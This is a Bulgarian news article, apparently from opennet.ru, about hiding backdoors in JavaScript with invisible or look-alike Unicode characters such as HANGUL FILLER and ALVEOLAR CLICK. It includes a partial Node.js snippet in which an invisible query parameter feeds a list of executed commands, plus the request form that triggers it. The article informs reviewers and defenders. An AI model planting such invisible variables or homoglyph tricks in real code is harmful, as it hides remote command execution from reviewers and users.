Използване на невидими unicode символи за скриване на действия в JavaScript код

След Методът на атака Trojan Source, основан на използването на Unicode символи, които променят реда на показване на двупосочен текст, е публикувана друга техника за внедряване на скрити действия, приложима за код на JavaScript. Новият метод се основава на използването на unicode символа „ㅤ“ (код 0x3164, „HANGUL FILLER“), който принадлежи към категорията на буквите, но няма видимо съдържание. Unicode категорията, в която попада този символ, е разрешена от спецификацията ECMAScript 2015 за използване в имена на променливи в JavaScript, което дава възможност за създаване на невидими променливи или нови променливи, които не могат да бъдат различавани от други променливи в популярни редактори на код, като Notepad++ и VS Code.

Като пример е даден код за платформата Node.js, в който с помощта на променлива, състояща се от един символ „ㅤ“, е скрит бекдор, позволяващ изпълнението на указан от атакувача код: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // по същество е указано „const { timeout,ㅤ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // след запетаята следва символ \u3164 ];

На пръв поглед, през външния параметър се предава само стойността timeout, а масивът с изпълняваните команди съдържа безобиден фиксиран списък. Но на практика, след променливата timeout, се задава стойност на друга невидима променлива с код на символа \u3164, която също е включена в масива на изпълняваните команди. Така при наличието на такава конструкция, за активиране на бекдора и изпълнение на собствения код, атакуващият може да изпрати заявка от вида «https://host:8080/network_health?=команда».

Като още един пример се посочва символът „ǃ“ (ALVEOLAR CLICK), който може да се използва за създаване на илюзия за указване на удивителен знак. Например изразът „if(environmentǃ=ENV_PROD){“ при изпълнение в Node.js 14 винаги ще бъде истинен, тъй като в него се извършва не проверка за различие, а присвояване на променливата „environmentǃ“ стойността ENV_PROD. Сред заблуждаващите unicode символи са също „／“, „−“, „＋“, „⩵“, „❨“, „⫽“, „꓿“ и „∗“.

Източник: opennet.ru